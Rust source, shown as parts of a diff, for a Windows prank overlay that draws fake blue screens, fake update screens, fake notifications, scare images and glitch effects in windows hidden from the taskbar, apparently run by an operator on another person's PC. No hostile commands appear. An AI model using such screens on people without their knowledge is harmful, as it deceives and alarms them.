register_active(Active {
id: request.id,
label: request.kind.label(),
born: SystemTime::now(),
deadline,
cancel: request.cancel,
});
// The timer is the only thing that drives the message loop, so it is also the
// only thing that will ever end this overlay or animate it. A failure here
// means the overlay stays up until `stopall`, which is worth saying out loud
// rather than leaving the operator to wonder.
let cadence = if content.animated() {
paint::SPOOK_FRAME_MS
} else {
STILL_FRAME_MS
};
if unsafe { SetTimer(hwnd, TIMER_ID, cadence, std::ptr::null_mut()) } == 0 {
crate::log::log(&format!(
"overlay {}: could not start its repaint timer, it will stay up until stopall",
request.id
));
}
let mut surface = Surface {
canvas,
text,
content,
origin: (geometry.x, geometry.y),
started: Instant::now(),
seed: request.id,
};
// The first frame is drawn before the pump starts so the window appears at
// once rather than up to a tick later.
surface.draw(&hwnd);
unsafe { ShowWindow(hwnd, SW_SHOWNOACTIVATE) };
loop {
let mut message = MaybeUninit::<api::MSG>::uninit();
let result = unsafe { GetMessageW(message.as_mut_ptr(), std::ptr::null_mut(), 0, 0) };
// Zero is `WM_QUIT` from the `WM_DESTROY` handler, negative is an error.
// Either way there is no more to dispatch.
if result <= 0 {
break;
}
let message = unsafe { message.assume_init() };
let destroying = message.message == WM_DESTROY;
unsafe {
TranslateMessage(&message);
DispatchMessageW(&message);
}
// The window is gone by the time `WM_DESTROY` returns, so there is
// nothing left to composite into.
if destroying {
break;
}
surface.draw(&hwnd);
}
unsafe {
KillTimer(hwnd, TIMER_ID);
DestroyWindow(hwnd);
}
surface.canvas.release();
LIFETIME.with(|cell| *cell.borrow_mut() = None);
}
/// Everything one overlay window needs in order to draw itself.
///
/// The window owns this for its lifetime, so the canvas and the scratch surface
/// inside the text renderer are allocated once and reused across frames.
struct Surface {
canvas: Canvas,
text: TextRenderer,
content: Content,
/// Where the window sits, in screen coordinates.
origin: (i32, i32),
started: Instant,
/// Varies the procedural overlays between overlays, so two `spook` windows
/// are not identical.
seed: u64,
}
impl Surface {
/// Rasterises one frame and hands it to the window manager.
fn draw(&mut self, hwnd: &api::HWND) {
// A still overlay is drawn once and then not again, so its elapsed time
// is frozen at zero and an animation-based painter would show its first
// frame forever. Nothing repaints a topmost window, so this costs
// nothing to do honestly; a normal-level one is recovered by the
// still-frame timer if something is drawn over it.
let time = if self.content.animated() {
self.started.elapsed().as_secs_f64()
} else {
0.0
};
self.canvas.wipe();
self.content.draw(&mut self.canvas, &mut self.text, time, self.seed);
self.canvas.present(*hwnd, self.origin);
}
}
const TIMER_ID: usize = 1;
// ---------------------------------------------------------------------------
// Window class and procedure
// ---------------------------------------------------------------------------
fn window_class(name: &[u16]) -> api::WNDCLASSEXW {
let instance = module_handle();
let cursor = unsafe { LoadCursorW(std::ptr::null_mut(), api::IDC_ARROW as *const u16) };
api::WNDCLASSEXW {
cbSize: std::mem::size_of::<api::WNDCLASSEXW>() as api::UINT,
style: api::CS_HREDRAW | api::CS_VREDRAW,
lpfnWndProc: window_procedure,
cbClsExtra: 0,
cbWndExtra: 0,
hInstance: instance,
// No icon: a fake system dialog that shows up in the taskbar or Alt+Tab
// would give the game away, which is what `WS_EX_TOOLWINDOW` prevents
// anyway.
hIcon: std::ptr::null_mut(),
hCursor: cursor,
// No background brush. Every pixel is written before the window is
// composited, and a brush would flash the window's garbage contents.
hbrBackground: std::ptr::null_mut(),
lpszMenuName: std::ptr::null(),
lpszClassName: name.as_ptr(),
hIconSm: std::ptr::null_mut(),
}
}
/// Handles only what the window needs. Everything else is left to Windows.
///
/// Notably there is no `WM_NCHITTEST` case: a layered window is hit-tested
/// against its own alpha, so a `desktopnote` that is only opaque where its
/// shadow and glyphs are already click-through, with no extra code.
unsafe extern "system" fn window_procedure(
hwnd: api::HWND,
message: api::UINT,
wparam: api::WPARAM,
lparam: api::LPARAM,
) -> api::LRESULT {
match message {
api::WM_TIMER => {
let expired =
LIFETIME.with(|cell| cell.borrow().as_ref().is_none_or(Lifetime::expired));
if expired {
DestroyWindow(hwnd);
}
0
}
// A layered window composites itself, so this should never arrive. If it
// does, the window manager wants the region marked valid or it will keep
// sending the message.
api::WM_PAINT => {
let mut paint = MaybeUninit::<api::PAINTSTRUCT>::uninit();
let dc = BeginPaint(hwnd, paint.as_mut_ptr());
if !dc.is_null() {
EndPaint(hwnd, paint.as_mut_ptr());
}
0
}
api::WM_DESTROY => {
PostQuitMessage(0);
0
}
_ => DefWindowProcW(hwnd, message, wparam, lparam),
}
}
// ---------------------------------------------------------------------------
// Preparation
// ---------------------------------------------------------------------------
fn prepare(request: &Request) -> Result<Content, String> {
match &request.kind {
Overlay::Image {
path,
mode,
topmost,
} => {
let (pixels, width, height) = paint::load_image(path)?;
Ok(Content::Image {
pixels,
width,
height,
mode: mode.clone(),
topmost: *topmost,
})
}
// A scare is just a fullscreen image; the sound half is played by the
// command layer so this side stays purely visual.
Overlay::Scare { path } => {
let (pixels, width, height) = paint::load_image(path)?;
Ok(Content::Image {
pixels,
width,
height,
mode: "fullscreen".to_string(),
topmost: true,
})
}
Overlay::Bsod { stopcode, percent } => Ok(Content::Bsod {
stopcode: stopcode.clone(),
percent: *percent,
}),
Overlay::Update { title, percent } => Ok(Content::Update {
title: title.clone(),
percent: *percent,
}),
Overlay::Toast { title, body } => Ok(Content::Toast {
title: title.clone(),
body: body.clone(),
}),
Overlay::Note { text, x, y, size } => Ok(Content::Note {
text: text.clone(),
x: *x as f32,
y: *y as f32,
size: *size as f32,
}),
Overlay::Spook { mode } => Ok(Content::Spook {
mode: mode.clone(),
}),
}
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
fn wide(text: &str) -> Vec<u16> {
text.encode_utf16().chain(std::iter::once(0)).collect()
}
/// The handle of the running image, needed by both the class and every window.
///
/// Not cached: a raw handle is neither `Send` nor `Sync`, so caching one would
/// mean wrapping a pointer in an atomic to save a call that is already a lookup
/// in the loader's own cache.
fn module_handle() -> api::HINSTANCE {
unsafe { GetModuleHandleW(std::ptr::null()) }
}

View File

@ -0,0 +1,656 @@
//! The painters, in GDI instead of egui.
//!
//! A deliberate transcription of `gui/overlay.rs` rather than a shared
//! abstraction. egui positions everything in floats against a `Rect` and blends
//! through a `Painter`; this positions in integers against a `Canvas` and
//! composites premultiplied bytes. The two agree on layout, colour and copy, and
//! nothing else, so a shared drawing layer would be an indirection over two
//! backends that do not have a common representation to abstract.
use super::canvas::{Canvas, Fit, Rect, Rgba};
use super::text::{Style, TextRenderer};
use crate::rng::Rng;
/// Animated overlays redraw on this cadence. A full-rate repaint would peg a
/// core for the lifetime of a `spook` overlay.
pub const SPOOK_FRAME_MS: u32 = 50;
/// The largest image dimension kept after decoding.
///
/// Not a texture limit - there is no texture here - but a bound on how much is
/// held in memory and how many destination pixels a fullscreen blit touches. A
/// prank image larger than this is downscaled, and 4K is already absurd for one.
const MAX_IMAGE_DIM: u32 = 4096;
/// Where and how big the overlay's window is.
pub struct Geometry {
pub width: i32,
pub height: i32,
/// Top-left in screen coordinates.
pub x: i32,
pub y: i32,
/// Whether the window stays above everything else.
pub topmost: bool,
}
/// Decoded, ready-to-draw overlay state.
pub enum Content {
Image {
pixels: Vec<u8>,
width: i32,
height: i32,
mode: String,
topmost: bool,
},
Bsod {
stopcode: String,
percent: i64,
},
Update {
title: String,
percent: i64,
},
Toast {
title: String,
body: String,
},
Note {
text: String,
x: f32,
y: f32,
size: f32,
},
Spook {
mode: String,
},
}
impl Content {
pub fn animated(&self) -> bool {
matches!(self, Content::Spook { .. })
}
/// Decides the window size and position.
///
/// `screen` is the full desktop in pixels, and `text` is needed because the
/// notification and the desktop note are sized to their own content - the
/// same measurement has to happen before the window exists and again while
/// drawing into it, so it lives in one place.
pub fn geometry(&self, screen: (i32, i32), text: &mut TextRenderer) -> Geometry {
let (screen_w, screen_h) = (screen.0.max(1), screen.1.max(1));
match self {
Content::Image {
width,
height,
mode,
topmost,
..
} => {
let size = match mode.as_str() {
"fullscreen" => (screen_w, screen_h),
"center" => (*width, *height),
// `fit` is the only remaining mode, so it is the default arm.
_ => ((*width as f32 * 0.7) as i32, (*height as f32 * 0.7) as i32),
};
let width = size.0.clamp(1, screen_w);
let height = size.1.clamp(1, screen_h);
Geometry {
width,
height,
x: (screen_w - width) / 2,
y: (screen_h - height) / 2,
topmost: *topmost || mode == "fullscreen",
}
}
Content::Bsod { .. } | Content::Update { .. } | Content::Spook { .. } => Geometry {
width: screen_w,
height: screen_h,
x: 0,
y: 0,
topmost: true,
},
Content::Toast { title, body } => {
let lines = text.wrap(body, TOAST_BODY, TOAST_TEXT_WIDTH);
let title_w = text.measure(title, TOAST_TITLE);
let body_w = lines
.iter()
.map(|line| text.measure(line, TOAST_BODY))
.max()
.unwrap_or(0);
let width = (title_w.max(body_w) + TOAST_PADDING * 2).clamp(64, screen_w);
let height =
(TOAST_HEADER + lines.len() as i32 * TOAST_LINE_HEIGHT + TOAST_PADDING)
.clamp(64, 320)
.min(screen_h);
Geometry {
width,
height,
// Bottom-right, inset by a margin, which is where a real
// notification appears.
x: (screen_w - width - TOAST_MARGIN).max(0),
y: (screen_h - height - TOAST_MARGIN).max(0),
topmost: true,
}
}
Content::Note {
text: body, x, y, size, ..
} => {
let style = Style::new(*size as i32);
let wrap_at = (screen_w as f32 * 0.7) as i32;
let lines = text.wrap(body, style, wrap_at);
let widest = lines
.iter()
.map(|line| text.measure(line, style))
.max()
.unwrap_or(0);
let width = (widest + NOTE_PADDING * 2)
.clamp(64, (screen_w as f32 * 0.95) as i32)
.max(1);
let height = ((lines.len() as f32 * size * 1.25) as i32 + NOTE_PADDING * 2)
.max(*size as i32 * 2)
.clamp(1, screen_h);
let height = height.max(1);
Geometry {
width,
height,
x: (*x as i32).clamp(0, (screen_w - width).max(0)),
y: (*y as i32).clamp(0, (screen_h - height).max(0)),
topmost: true,
}
}
}
}
/// Paints one frame.
pub fn draw(
&self,
canvas: &mut Canvas,
text: &mut TextRenderer,
time: f64,
seed: u64,
) {
match self {
Content::Image {
pixels,
width,
height,
mode,
..
} => draw_image(canvas, pixels, *width, *height, mode),
Content::Bsod { stopcode, percent } => draw_bsod(canvas, text, stopcode, *percent),
Content::Update { title, percent } => draw_update(canvas, text, title, *percent),
Content::Toast { title, body } => draw_toast(canvas, text, title, body),
Content::Note { text: body, size, .. } => {
draw_note(canvas, text, body, *size as i32)
}
Content::Spook { mode } => draw_spook(canvas, text, mode, time, seed),
}
}
}
/// Decodes an image file into the raw RGBA the rasteriser draws.
pub fn load_image(path: &str) -> Result<(Vec<u8>, i32, i32), String> {
let bytes = std::fs::read(path).map_err(|e| format!("{path}: {e}"))?;
let decoded = image::load_from_memory(&bytes)
.map_err(|e| format!("{path}: {e}"))?
.to_rgba8();
let (width, height) = decoded.dimensions();
if width == 0 || height == 0 {
return Err(format!("{path}: image has no dimensions"));
}
let decoded = if width > MAX_IMAGE_DIM || height > MAX_IMAGE_DIM {
let scale = MAX_IMAGE_DIM as f32 / width.max(height) as f32;
image::imageops::resize(
&decoded,
(width as f32 * scale).round() as u32,
(height as f32 * scale).round() as u32,
image::imageops::FilterType::Triangle,
)
} else {
decoded
};
let (width, height) = decoded.dimensions();
Ok((decoded.into_raw(), width as i32, height as i32))
}
// ---------------------------------------------------------------------------
// Per-overlay painters
// ---------------------------------------------------------------------------
/// Toast metrics, shared between sizing the window and painting into it.
const TOAST_PADDING: i32 = 14;
const TOAST_TEXT_WIDTH: i32 = 320;
const TOAST_HEADER: i32 = 40;
const TOAST_LINE_HEIGHT: i32 = 18;
const TOAST_MARGIN: i32 = 16;
const TOAST_TITLE: Style = Style {
height: 14,
bold: true,
monospace: false,
};
const TOAST_BODY: Style = Style {
height: 13,
bold: false,
monospace: false,
};
/// Desktop note metrics.
const NOTE_PADDING: i32 = 12;
const WHITE: Rgba = Rgba::rgb(255, 255, 255);
fn draw_image(canvas: &mut Canvas, pixels: &[u8], width: i32, height: i32, mode: &str) {
let (screen_w, screen_h) = (canvas.width, canvas.height);
let target = Rect::new(0, 0, screen_w, screen_h);
match mode {
"fullscreen" => {
// `cover`: fill the viewport and let the overflow crop. More
// dramatic than letterboxing, which is the point for a scare.
canvas.blit(pixels, width, height, target, Fit::Cover, 1.0);
}
"center" => canvas.blit(pixels, width, height, target, Fit::Exact, 1.0),
// `fit`: contain, and never upscale past 1:1, so a small image is not
// blown up into a blurry mess.
_ => {
let scale = (screen_w as f32 / width as f32)
.min(screen_h as f32 / height as f32)
.min(1.0);
let draw_w = (width as f32 * scale) as i32;
let draw_h = (height as f32 * scale) as i32;
canvas.blit(
pixels,
width,
height,
Rect::new(
(screen_w - draw_w) / 2,
(screen_h - draw_h) / 2,
draw_w,
draw_h,
),
Fit::Exact,
1.0,
);
}
}
}
fn draw_bsod(canvas: &mut Canvas, text: &mut TextRenderer, stopcode: &str, percent: i64) {
let (w, h) = (canvas.width, canvas.height);
let centre_x = w / 2;
canvas.fill(Rgba::rgb(0, 0, 170));
// The frown, at roughly the height a real BSOD puts it.
let frown = Style::new(((h as f32 * 0.15) as i32).min((w as f32 * 0.15) as i32))
.monospace()
.bold();
text.draw_centred(canvas, ":(", centre_x, (h as f32 * 0.26) as i32 - h / 12, frown, WHITE);
let bar_w = (w as f32 * 0.26) as i32;
let bar_h = 18;
let bar_x = centre_x - bar_w / 2;
let bar_y = (h as f32 * 0.52) as i32;
canvas.fill_rect(
Rect::new(bar_x, bar_y, bar_w, bar_h),
Rgba::with_alpha(255, 255, 255, 45),
);
canvas.fill_rect(
Rect::new(bar_x, bar_y, bar_w * percent.clamp(0, 100) as i32 / 100, bar_h),
WHITE,
);
text.draw_centred(
canvas,
&format!("{percent}% complete"),
centre_x,
bar_y + bar_h + 22,
Style::new(17),
WHITE,
);
let body = Style::new(((w as f32 * 0.014) as i32).clamp(12, 22));
let pad = (w as f32 * 0.06) as i32;
let left = pad;
let right = w - pad;
let bottom = h - pad;
let line = ((body.height as f32 * 2.0) as i32).max(20);
// Stacked upwards from the bottom edge, matching the real layout.
let lines: [&str; 3] = [
"Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.",
"For more information about this error and possible fixes, visit",
"https://www.windows.com/werr",
];
for (index, content) in lines.iter().enumerate() {
text.draw(
canvas,
content,
(left, bottom - (lines.len() as i32 - 1 - index as i32) * line - body.height),
body,
WHITE,
);
}
text.draw_right(canvas, "100% complete", right, bottom - body.height, body, WHITE);
text.draw_right(
canvas,
&format!("Stop code: {stopcode}"),
right,
bottom - 2 * line - body.height,
body,
WHITE,
);
}
fn draw_update(canvas: &mut Canvas, text: &mut TextRenderer, title: &str, percent: i64) {
let (w, h) = (canvas.width, canvas.height);
let centre_x = w / 2;
canvas.fill(Rgba::rgb(24, 32, 48));
// A lighter band across the upper portion, which is enough to read as "this
// is a system dialog" rather than a plain coloured screen.
canvas.fill_rect(
Rect::new(0, 0, w, (h as f32 * 0.4) as i32),
Rgba::rgb(32, 48, 74),
);
let title_style = Style::new(((w as f32 * 0.026) as i32).clamp(20, 48));
text.draw_centred(
canvas,
title,
centre_x,
(h as f32 * 0.30) as i32 - title_style.height / 2,
title_style,
WHITE,
);
let sub = Style::new(((w as f32 * 0.013) as i32).clamp(12, 22));
text.draw_centred(
canvas,
"Please wait while your computer installs updates",
centre_x,
(h as f32 * 0.40) as i32 - sub.height / 2,
sub,
Rgba::with_alpha(255, 255, 255, 200),
);
let bar_w = (w as f32 * 0.3) as i32;
let bar_h = 8;
let bar_x = centre_x - bar_w / 2;
let bar_y = (h as f32 * 0.52) as i32;
canvas.fill_rect(
Rect::new(bar_x, bar_y, bar_w, bar_h),
Rgba::with_alpha(255, 255, 255, 40),
);
canvas.fill_rect(
Rect::new(
bar_x,
bar_y,
bar_w * percent.clamp(0, 100) as i32 / 100,
bar_h,
),
Rgba::rgb(0, 120, 215),
);
let small = Style::new(((w as f32 * 0.012) as i32).clamp(12, 20));
text.draw_centred(
canvas,
&format!("{percent}% complete"),
centre_x,
bar_y + bar_h + 20,
small,
Rgba::with_alpha(255, 255, 255, 180),
);
text.draw_centred(
canvas,
"Do not turn off your computer",
centre_x,
h - (h as f32 * 0.12) as i32 - small.height / 2,
small,
Rgba::with_alpha(255, 255, 255, 150),
);
}
fn draw_toast(canvas: &mut Canvas, text: &mut TextRenderer, title: &str, body: &str) {
let (w, h) = (canvas.width, canvas.height);
let surface = Rect::new(0, 0, w, h);
canvas.fill_rect(surface, Rgba::rgb(43, 43, 43));
// A one-pixel border. Drawn as four thin rectangles because the rasteriser
// has no stroked primitive, and rounding is not worth the approximation.
let border = Rgba::with_alpha(255, 255, 255, 40);
canvas.fill_rect(Rect::new(0, 0, w, 1), border);
canvas.fill_rect(Rect::new(0, h - 1, w, 1), border);
canvas.fill_rect(Rect::new(0, 0, 1, h), border);
canvas.fill_rect(Rect::new(w - 1, 0, 1, h), border);
text.draw(
canvas,
title,
(TOAST_PADDING, 12),
TOAST_TITLE,
Rgba::rgb(120, 180, 255),
);
// The window was sized to the wrapped body in `geometry`, so this only
// truncates if the two disagree, which they should not.
let mut y = TOAST_HEADER;
let max_lines = ((h - y - 8) / TOAST_LINE_HEIGHT).max(1) as usize;
for line in text.wrap(body, TOAST_BODY, TOAST_TEXT_WIDTH).into_iter().take(max_lines) {
text.draw(
canvas,
&line,
(TOAST_PADDING, y),
TOAST_BODY,
Rgba::rgb(235, 235, 235),
);
y += TOAST_LINE_HEIGHT;
}
}
fn draw_note(canvas: &mut Canvas, text_renderer: &mut TextRenderer, body: &str, size: i32) {
let style = Style::new(size.max(1));
let lines = text_renderer.wrap(body, style, canvas.width - NOTE_PADDING * 2);
let step = ((size as f32 * 1.25) as i32).max(1);
// A transparent window over an arbitrary wallpaper, so a drop shadow is what
// keeps the text legible.
for (offset, colour) in [(2, Rgba::with_alpha(0, 0, 0, 190)), (0, Rgba::rgb(255, 236, 120))] {
let mut y = NOTE_PADDING + offset;
for line in &lines {
text_renderer.draw(
canvas,
line,
(NOTE_PADDING + offset, y),
style,
colour,
);
y += step;
}
}
}
fn draw_spook(
canvas: &mut Canvas,
text: &mut TextRenderer,
mode: &str,
time: f64,
seed: u64,
) {
match mode {
"matrix" => draw_matrix(canvas, text, time, seed),
"scanline" => draw_scanline(canvas, time),
"glitch" => draw_glitch(canvas, time, seed),
// `static` is the default arm, and the only mode with no time input.
_ => draw_static(canvas, time, seed),
}
}
fn draw_static(canvas: &mut Canvas, time: f64, seed: u64) {
let (w, h) = (canvas.width, canvas.height);
canvas.fill(Rgba::rgb(8, 8, 8));
let frame = (time * 30.0) as u64;
let mut rng = Rng::new(seed ^ frame.wrapping_mul(0x9E37_79B9_7F4A_7C15));
// A couple of thousand rects reads as noise and stays cheap; one rect per
// pixel would not.
for _ in 0..2200 {
let width = rng.range_i32(2, 12);
let height = rng.range_i32(1, 4);
let grey = rng.range_i32(20, 256) as u8;
canvas.fill_rect(
Rect::new(
rng.range_i32(0, w),
rng.range_i32(0, h),
width,
height,
),
Rgba::rgb(grey, grey, grey),
);
}
}
fn draw_matrix(canvas: &mut Canvas, text: &mut TextRenderer, time: f64, seed: u64) {
let (w, h) = (canvas.width, canvas.height);
canvas.fill(Rgba::rgb(0, 8, 0));
// ASCII only, deliberately: the matrix rain reads as a terminal, and a
// fixed-pitch face has no CJK coverage to draw with anyway.
const GLYPHS: &[u8] = b"0123456789ABCDEF$<>#@%&*+=|\\";
let cell = 20;
let columns = w.div_euclid(cell);
let rows = h.div_euclid(cell);
let tail = 14i64;
let style = Style::new(17).monospace();
for column in 0..columns {
// Per-column speed and phase derived from the column index, so the
// animation is a pure function of time and needs no stored state.
let column_seed = seed ^ (column as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
let speed = 6.0 + (column_seed % 9) as f64;
let phase = ((column_seed >> 8) % 1000) as f64 / 1000.0;
let span = rows as i64 + tail;
let head = (time.mul_add(speed, phase * 60.0) % span as f64) as i64;
for offset in 0..tail {
let row = head - offset;
if row < 0 || row >= rows as i64 {
continue;
}
let index = (column_seed.rotate_left(row as u32 * 5) as usize) % GLYPHS.len();
let glyph = GLYPHS[index] as char;
// Brightest at the head, fading down the tail.
let colour = if offset == 0 {
Rgba::rgb(200, 255, 200)
} else {
Rgba::with_alpha(0, 210, 60, 255 - (offset * 235 / tail) as u8)
};
text.draw(
canvas,
&glyph.to_string(),
(column * cell, row as i32 * cell),
style,
colour,
);
}
}
}
fn draw_scanline(canvas: &mut Canvas, time: f64) {
let (w, h) = (canvas.width, canvas.height);
canvas.fill(Rgba::rgb(6, 10, 6));
let mut y = 0;
while y < h {
canvas.fill_rect(
Rect::new(0, y, w, 1),
Rgba::with_alpha(0, 0, 0, 140),
);
y += 3;
}
// A brighter band sweeping down, which is what sells it as a display fault.
let span = h as f64 + 200.0;
let band_y = (time * 260.0 % span) as i32 - 100;
for offset in 0..3 {
canvas.fill_rect(
Rect::new(0, band_y + offset * 2, w, 1),
Rgba::rgb(120, 255, 160),
);
}
}
fn draw_glitch(canvas: &mut Canvas, time: f64, seed: u64) {
let (w, h) = (canvas.width, canvas.height);
canvas.fill(Rgba::rgb(10, 0, 14));
let mut rng = Rng::new(seed ^ (time * 20.0) as u64);
// Horizontal slices displaced sideways, the classic datamosh look.
let slices = 40;
let band = h / slices;
for index in 0..slices {
let shift = if rng.f32() > 0.82 {
rng.range_i32(-90, 90)
} else {
0
};
let hue = rng.f32();
canvas.fill_rect(
Rect::new(shift, index * band, w, band),
Rgba::with_alpha(
(hue * 255.0) as u8,
((1.0 - hue) * 180.0) as u8,
(rng.f32() * 200.0) as u8,
90,
),
);
}
// A few solid bright bands on top.
for _ in 0..6 {
canvas.fill_rect(
Rect::new(
rng.range_i32(-60, 60),
rng.range_i32(0, h),
w,
rng.range_i32(2, 14),
),
Rgba::with_alpha(255, 255, 255, rng.range_i32(40, 151) as u8),
);
}
}

View File

@ -0,0 +1,422 @@
//! Text rendering, and how it recovers an alpha channel from GDI.
//!
//! The overlays want the real system font, and GDI is the only way to get it.
//! egui's bundled font is neither available in this backend nor desirable: a
//! convincing fake system dialog has to look like it was drawn by the system.
//!
//! The problem is that GDI does not write the alpha channel of a 32-bit DIB. It
//! blends the glyph against whatever is already in the device context, so text
//! drawn straight onto the overlay would arrive as colour with a meaningless
//! coverage value, and a `WS_EX_LAYERED` window would composite it wrongly.
//!
//! So text goes into a scratch DIB whose background is a sentinel colour no
//! overlay uses, and the result is converted back into a glyph mask. GDI
//! antialiases by mixing the text colour toward the background, so a pixel's
//! distance from the sentinel *is* its coverage - the antialiasing is recovered
//! exactly rather than thresholded to a hard edge.
//!
//! Grayscale antialiasing is requested rather than ClearType on purpose.
//! ClearType renders each subpixel with a different colour, which would both
//! destroy the coverage arithmetic above and leave coloured fringes once the
//! glyph is composited somewhere other than an LCD.
use std::os::windows::ffi::OsStrExt;
use super::api::*;
use super::canvas::{Canvas, Fit, Rect, Rgba};
/// Slack on every side of a run, so a negative side bearing or an antialiased
/// overhang is not clipped out of the scratch surface.
const PAD: i32 = 4;
/// A background colour no painter uses.
///
/// Magenta specifically: the overlays are white, grey and the accent blues, so
/// the channel with the largest distance to the text colour is a strong one and
/// the coverage division below is well conditioned.
const SENTINEL: Rgba = Rgba::rgb(255, 0, 255);
/// The proportional face, used for anything meant to look like a system dialog.
const UI_FACE: &str = "Segoe UI";
/// The fixed-pitch face, used for the matrix rain and the blue screen's frown,
/// where a uniform advance is the whole point.
const MONO_FACE: &str = "Consolas";
/// How a run of text is set.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub struct Style {
/// Character cell height in pixels.
pub height: i32,
pub bold: bool,
pub monospace: bool,
}
impl Style {
pub fn new(height: i32) -> Style {
Style {
height,
bold: false,
monospace: false,
}
}
pub fn bold(mut self) -> Style {
self.bold = true;
self
}
pub fn monospace(mut self) -> Style {
self.monospace = true;
self
}
}
/// A TrueType screen font at a cell height, weight and family.
struct Font {
handle: HGDIOBJ,
style: Style,
}
impl Font {
fn new(style: Style) -> Option<Font> {
let face: Vec<u16> = std::ffi::OsStr::new(if style.monospace {
MONO_FACE
} else {
UI_FACE
})
.encode_wide()
.chain(std::iter::once(0))
.collect();
let handle = unsafe {
CreateFontW(
// A negative height requests a character cell rather than an em
// size, which is what a pixel-accurate layout wants.
-style.height.max(1),
0,
0,
0,
if style.bold { FW_BOLD } else { FW_NORMAL },
0,
0,
0,
DEFAULT_CHARSET,
OUT_TT_PRECIS,
CLIP_DEFAULT,
ANTIALIASED_QUALITY,
DEFAULT_PITCH | FF_DONTCARE,
face.as_ptr(),
)
};
if handle.is_null() {
None
} else {
Some(Font { handle, style })
}
}
}
impl Drop for Font {
fn drop(&mut self) {
if !self.handle.is_null() {
unsafe { DeleteObject(self.handle) };
self.handle = std::ptr::null_mut();
}
}
}
/// Renders runs of text into a glyph mask, and composites that mask.
///
/// One instance per overlay window. The scratch surface and the faces are cached
/// and reused, because a `spook` overlay re-renders the same handful of strings
/// twenty times a second and reallocating GDI objects per frame would be both
/// slow and a leak risk.
pub struct TextRenderer {
scratch: Canvas,
/// Faces keyed by `[monospace][bold]`, each cached at one height. Two
/// families and two weights covers every painter here, and alternating
/// between them at a fixed size is common enough that a single-slot cache
/// would rebuild the face on most lines.
fonts: [[Option<Font>; 2]; 2],
/// Straight-RGBA glyph coverage at one pixel per source pixel.
mask: Vec<u8>,
mask_w: i32,
mask_h: i32,
}
impl TextRenderer {
/// Allocates the scratch surface, or `None` if GDI refuses a bitmap at all.
///
/// There is no usable fallback for this: without a DIB there is no surface to
/// render into, so the caller reports it as an overlay that could not open.
pub fn new() -> Option<TextRenderer> {
Some(TextRenderer {
scratch: Canvas::new(64, 32)?,
fonts: [[None, None], [None, None]],
mask: Vec::new(),
mask_w: 0,
mask_h: 0,
})
}
/// Selects the face for this style, rebuilding it if the cached one is a
/// different size.
fn font_for(&mut self, style: Style) -> Option<HGDIOBJ> {
let column = usize::from(style.monospace);
let row = usize::from(style.bold);
let slot = &mut self.fonts[column][row];
if let Some(font) = slot.as_ref() {
if font.style.height == style.height {
return Some(font.handle);
}
}
// The outgoing face may still be selected in the scratch DC, and deleting
// a selected GDI object is not allowed, so put the stock font back first.
unsafe { SelectObject(self.scratch.dc(), GetStockObject(DEFAULT_GUI_FONT)) };
let replacement = Font::new(style)?;
let handle = replacement.handle;
*slot = Some(replacement);
Some(handle)
}
/// Advance width of `text` in pixels.
pub fn measure(&mut self, text: &str, style: Style) -> i32 {
if text.is_empty() {
return 0;
}
let Some(handle) = self.font_for(style) else {
return 0;
};
let wide: Vec<u16> = text.encode_utf16().collect();
let dc = self.scratch.dc();
unsafe {
SelectObject(dc, handle);
let mut size = SIZE { cx: 0, cy: 0 };
if GetTextExtentPoint32W(dc, wide.as_ptr(), wide.len() as i32, &mut size) == 0 {
return 0;
}
size.cx
}
}
/// Draws `text` with its top-left at `at`, returning true if anything was
/// composited.
///
/// `at` is the top-left of the run's box, not of the first inked pixel: the
/// face's leading and left side bearing sit inside it. That is the stable
/// reference for a layout that positions text against a grid, and it is
/// close enough to the ink origin that centring by measured width lands
/// where it should.
pub fn draw(
&mut self,
target: &mut Canvas,
text: &str,
at: (i32, i32),
style: Style,
colour: Rgba,
) -> bool {
if text.is_empty() {
return false;
}
let Some(handle) = self.font_for(style) else {
return false;
};
let wide: Vec<u16> = text.encode_utf16().collect();
if wide.is_empty() {
return false;
}
// Size the scratch to the run.
let dc = self.scratch.dc();
let (extent_w, extent_h) = unsafe {
SelectObject(dc, handle);
let mut size = SIZE { cx: 0, cy: 0 };
let ok = GetTextExtentPoint32W(dc, wide.as_ptr(), wide.len() as i32, &mut size);
(if ok == 0 { 0 } else { size.cx }, size.cy)
};
if extent_w <= 0 || extent_h <= 0 {
return false;
}
let needed_w = extent_w + PAD * 2;
let needed_h = extent_h + PAD * 2;
if self.scratch.width < needed_w || self.scratch.height < needed_h {
self.scratch.release();
match Canvas::new(needed_w, needed_h) {
Some(canvas) => self.scratch = canvas,
None => return false,
}
}
self.render_to_scratch(handle, &wide, colour);
self.extract_mask(colour);
// The glyph was drawn `PAD` in from the scratch origin, so the mask is
// offset back out by the same amount. Negative coordinates are fine:
// `blit` clips to the canvas.
target.blit(
&self.mask,
self.mask_w,
self.mask_h,
Rect::new(at.0 - PAD, at.1 - PAD, self.mask_w, self.mask_h),
Fit::Exact,
1.0,
);
true
}
/// Draws `text` horizontally centred on `centre_x`, with its top at `top`.
pub fn draw_centred(
&mut self,
target: &mut Canvas,
text: &str,
centre_x: i32,
top: i32,
style: Style,
colour: Rgba,
) {
let width = self.measure(text, style);
self.draw(target, text, (centre_x - width / 2, top), style, colour);
}
/// Draws `text` with its right edge at `right_x` and its top at `top`.
pub fn draw_right(
&mut self,
target: &mut Canvas,
text: &str,
right_x: i32,
top: i32,
style: Style,
colour: Rgba,
) {
let width = self.measure(text, style);
self.draw(target, text, (right_x - width, top), style, colour);
}
/// Draws the run over a cleared sentinel background and lets GDI do the
/// antialiasing.
fn render_to_scratch(&mut self, handle: HGDIOBJ, wide: &[u16], colour: Rgba) {
self.scratch.wipe();
self.scratch.fill(SENTINEL);
let dc = self.scratch.dc();
unsafe {
SelectObject(dc, handle);
// An opaque background mode would repaint the whole run's bounding box
// in the background colour; transparent mode leaves the sentinel fill
// alone and only blends the glyph into it.
SetBkMode(dc, TRANSPARENT);
SetTextColor(dc, to_colorref(colour));
TextOutW(dc, PAD, PAD, wide.as_ptr(), wide.len() as i32);
}
}
/// Turns the sentinel background into a straight-alpha glyph mask.
///
/// GDI mixed each pixel as `SENTINEL * (1 - c) + colour * c`, so solving for
/// the coverage on the channel where the two differ most recovers `c`
/// exactly, antialiasing included.
fn extract_mask(&mut self, colour: Rgba) {
let (w, h) = (self.scratch.width, self.scratch.height);
self.mask_w = w;
